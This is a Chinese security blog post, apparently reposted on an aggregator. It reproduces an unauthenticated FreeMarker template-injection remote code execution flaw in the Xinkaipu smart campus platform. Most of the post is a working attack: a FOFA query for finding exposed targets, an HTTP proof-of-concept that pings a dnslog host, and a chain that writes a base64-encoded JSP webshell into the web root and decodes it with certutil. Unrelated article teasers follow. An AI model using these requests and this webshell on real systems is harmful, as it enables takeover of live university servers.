新开普智慧校园系统RCE漏洞复现(0day)

news2024/9/25 9:33:42

0x01 产品简介

      新开普智慧校园体系基于业务、数据双中台理念,建立共享开放能力平台,实现能力开放和服务与数据的全生命周期治理;基于一云多端,混合云服务模式,覆盖管理、生活、教学、科研和社会化服务全场景,让师生随时随地获得资源和服务;围绕按主题建设,按场景上线,以评促建,可持续发展的路径,渐进建设全业务应用场景,让智慧校园建设更简单。

0x02 漏洞概述

   新开普智慧校园系统/service_transport/service.action接口处存在FreeMarker模板注入,攻击者可在未经身份认证的情况下,调用后台接口,构造恶意代码实现远程代码执行,最终可造成服务器失陷(edu刷分神洞)

0x03 影响范围

  掌上校园前置服务管理平台(通用版)

0x04 复现环境

  FOFA:title="掌上校园服务管理平台"

0x05 漏洞复现

http://your-ip/service_transport/service.action

 

 出现以上这种情况则存在漏洞

 PoC

POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0

{
        "command": "GetFZinfo", 
        "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c ping v0u26h.ceye.io\")}"
}

PS:漏洞没有回显,可通过写文件或dnslog验证

漏洞利用

思路:将马子base64编码,echo将编码后的马子写入txt文件到网站根目录,然后使用certutil命令解码并将txt转换为jsp

实践:

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

写文件 

POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0

{
        "command": "GetFZinfo", 
        "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c echo PCUhCiAgICBjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXIgewogICAgICAgIFUoQ2xhc3NMb2FkZXIgYykgewogICAgICAgICAgICBzdXBlcihjKTsKICAgICAgICB9CiAgICAgICAgcHVibGljIENsYXNzIGcoYnl0ZVtdIGIpIHsKICAgICAgICAgICAgcmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsIDAsIGIubGVuZ3RoKTsKICAgICAgICB9CiAgICB9CiAKICAgIHB1YmxpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBzdHIpIHRocm93cyBFeGNlcHRpb24gewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgic3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOwogICAgICAgICAgICByZXR1cm4gKGJ5dGVbXSkgY2xhenouZ2V0TWV0aG9kKCJkZWNvZGVCdWZmZXIiLCBTdHJpbmcuY2xhc3MpLmludm9rZShjbGF6ei5uZXdJbnN0YW5jZSgpLCBzdHIpOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkJhc2U2NCIpOwogICAgICAgICAgICBPYmplY3QgZGVjb2RlciA9IGNsYXp6LmdldE1ldGhvZCgiZ2V0RGVjb2RlciIpLmludm9rZShudWxsKTsKICAgICAgICAgICAgcmV0dXJuIChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZSIsIFN0cmluZy5jbGFzcykuaW52b2tlKGRlY29kZXIsIHN0cik7CiAgICAgICAgfQogICAgfQolPgo8JQogICAgU3RyaW5nIGNscyA9IHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwYXNzd2QiKTsKICAgIGlmIChjbHMgIT0gbnVsbCkgewogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGJhc2U2NERlY29kZShjbHMpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CiAgICB9CiU+ >./webapps/ROOT/1.txt\")}"
}

文件转换

POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0

{
        "command": "GetFZinfo", 
        "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c certutil -decode ./webapps/ROOT/1.txt ./webapps/ROOT/1.jsp\")}"
}

 尝试连接

 0x06 修复建议

   关闭互联网暴露面或设置接口访问权限

   升级至安全版本

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/731691.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【网络】HTTPS协议原理

目录 “加密”相关概念 为什么要加密 常见加密方式 对称加密 非对称加密 HTTPS工作过程探究 方案1-只使用对称加密 方案2-只使用非对称加密 方案3-客户端和服务端双方都使用非对称加密 方案4-非对称加密 对称加密 上述方案问题分析 方案5-证书认证 非对称加密对…

代码随想录二刷day46 | 动态规划之139.单词拆分

day46 139.单词拆分1.确定dp数组以及下标的含义2.确定递推公式3.dp数组如何初始化4.确定遍历顺序5.举例推导dp[i] 139.单词拆分 题目链接 解题思路&#xff1a;单词就是物品&#xff0c;字符串s就是背包&#xff0c;单词能否组成字符串s&#xff0c;就是问物品能不能把背包装满…

原来Linux里也能打《ACM》?

本文&#xff0c;我们来介绍一下Linux中的ACM时间&#xff0c;不过呢此ACM非彼acm&#xff0c;让我们一起来看看吧 前言 我们在写Makefile的时候&#xff0c;经常会遇到make: xxx is up to date.的问题&#xff0c;很多同学都不知道是什么原因&#xff0c;本文我们就从这一点说…

如何查看某个学者近些年发表的论文

Search more papy by the author 在谷歌学术上搜索&#xff0c;输入学者的名字&#xff0c;就会出来所有的期刊&#xff0c;文章题目、发表时间、相关作者等信息。 例如&#xff0c; 在下面的网址中&#xff0c;展示了学者发表的论文详情 https://scholar.google.com/citat…

C++常用库函数 6.进程控制函数

函数名&#xff1a;exit 函数原型&#xff1a;void exit(int status)&#xff1b; 参数&#xff1a;status 退出状态。 所需头文件&#xff1a;<cstdlib> 功能&#xff1a;终止进程。函数名&#xff1a;system 函数原型&#xff1a;int system(const char*command) …

103、基于STM32单片机智能两轮双轮自平衡小车 蓝牙手机APP控制系统设计(程序+原理图+PCB源文件+硬件芯片资料等)

单片机主芯片选择方案 方案一&#xff1a;AT89C51是美国ATMEL公司生产的低电压&#xff0c;高性能CMOS型8位单片机&#xff0c;器件采用ATMEL公司的高密度、非易失性存储技术生产&#xff0c;兼容标准MCS-51指令系统&#xff0c;片内置通用8位中央处理器(CPU)和Flash存储单元&a…

【网络安全带你练爬虫-100练】第10练:re的正则匹配、文件夹创建、图片下载

目录 一、目标1&#xff1a;正则匹配图片的URL 二、目标2&#xff1a;创建文件夹 三、目标3&#xff1a;保存图片到test文件夹中 四、网络安全小圈子 一、目标1&#xff1a;正则匹配图片的URL URL位置 我们可以找到img都在这个标签里面 请求方法GET 提取URL位置 需要掌握…

【算法 -- LeetCode】(12)整数转罗马数字

1、题目 罗马数字包含以下七种字符&#xff1a; I&#xff0c; V&#xff0c; X&#xff0c; L&#xff0c;C&#xff0c;D 和 M。 字符 数值 I 1 V 5 X 10 L 50 C 100 D 500 M …

【源码】vue2+element+laravel8开发不良事件上报系统源码

系统概述&#xff1a; 医院不良事件报告系统为医院内质量控制、患者安全关注、医疗安全不良事件方面的精细化的管理提供了平台&#xff0c;是等级医院评审的必备内容&#xff0c;评审要求医院直报系统要与卫生部“医疗安全(不良)事件报告系统”建立网络对接。 不良事件报告系统…

微信小程序WebView嵌入别人网页的解决办法

写在前面&#xff0c;小程序必须是热认证的企业小程序&#xff0c;个人小程序不支持WebView组建。 方法一&#xff1a; 在做微信小程序开始时&#xff0c;大家都能遇到&#xff0c;WebView组件使用的URL必须要在小程序的后台设置业务域名&#xff0c;并且在对应域名服务器根目…

hexo #01 安装

本篇主要步骤 1、前置环境2、安装 hexo3、初始化 hexo4、运行 hexo 1、前置环境 参考官网教程&#xff1a;hexo 博客系统安装前提 2、安装 hexo 这里采用官网推荐的第二种方式局部安装 hexo 包。 $ npm install hexo3、初始化 hexo 创建一个空文件夹&#xff0c;用来作为项…

mysql 数据库备份和还原

数据库备份 第一步&#xff1a;先在环境变量Path里面加上mysql bin目录的路径 第二部&#xff1a;执行对应的命令 备份数据库中的表&#xff1a; 命令&#xff1a; mysqldump -u root -p fenku_lianxi customer > d:\temp.sql root是 账号 username fenku_lianxi是数据…

科技资讯|苹果Vision Pro手部追踪和手势相关新专利曝光

近日&#xff0c;美国专利商标局正式授予苹果一项与 Apple Vision Pro 主要功能相关的专利&#xff1a;手部追踪和手指手势。 苹果专利指出&#xff0c;沉浸感的质量取决于几个重要因素。例如&#xff0c;显示器的特性&#xff0c;如图像质量、帧率、像素分辨率、高动态范围 …

MATLAB|考虑自动重合闸与分布式能源的配电网可靠性评估研究

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

MacOS Sonoma 14.0 (23A5286g) Beta3 带 OC 0.9.3 and FirPE 双分区原版黑苹果镜像

苹果今日向 Mac 电脑用户推送了 macOS 14 开发者预览版 Beta3 更新&#xff08;内部版本号&#xff1a;23A5286g&#xff09;&#xff0c;本次更新距离上次发布隔了 14 天。 一、镜像下载&#xff1a; 1.微信公众号&#xff1a;macOS Sonoma 14.0 (23A5286g) Beta3 带 OC 引导…

染色法判定二分图 — DFS深搜 +BFS宽搜

染色法判定二分图 — DFS深搜 题目描述 给定一个 n n n 个点 m m m 条边的无向图&#xff0c;图中可能存在重边和自环。 请你判断这个图是否是二分图。 输入格式 第一行包含两个整数 n n n 和 m m m。 接下来 m m m 行&#xff0c;每行包含两个整数 u u u 和 v v …

C++教程——继承、多态

继承 继承方式 继承中的对象模型 继承中构造和析构顺序 继承中同名成员处理方式 继承中同名静态成员处理方式 多继承语法 菱形继承 虚继承解决资源浪费的问题 底层原理 多态 多态的原理剖析 纯虚函数与抽象类 虚析构与纯虚析构 虚析构

【Linux系统编程】20.程序、进程、CPU和MMU、PCB

目录 程序 进程 CPU和MMU PCB 程序 编译好的二进制文件&#xff0c;存在磁盘上&#xff0c;只占用磁盘资源。 进程 进程是活跃的程序&#xff0c;占用系统资源&#xff0c;在内存中执行。程序运行起来&#xff0c;产生一个进程。 程序类似于剧本&#xff0c;进程类似于一场…

为何OpenAI能领先大厂开发出如ChatGPT的模型

为何OpenAI能领先大厂开发出ChatGPT的大模型&#xff1f; 信仰和环境缺一不可&#xff0c;不是因为OpenAI从0到1创造性的搞出来大模型&#xff0c;而是信仰和环境造就了ChatGPT大模型 在谈论为何中国乃至其他国家的大厂未能开发出如ChatGPT的模型时&#xff0c;我们需要强调&am…

使用electron打包spring-boot+vue项目开发桌面exe端项目一站式全部解决!专栏有解决报错文章

准备工具 前端:node.js 14以下(直接安装 node.js 即可) 后端:jre 1.8(必须1.8) 工具: Bat_To_Exe_ConverterInno_Setup 汉化版(英文版不支持简体中文,打包出来的安装界面是英文的)我以及给大家汇总完毕直接点击进去下载即可 https://pan.baidu.com/s/1XoA0tj3b4Q…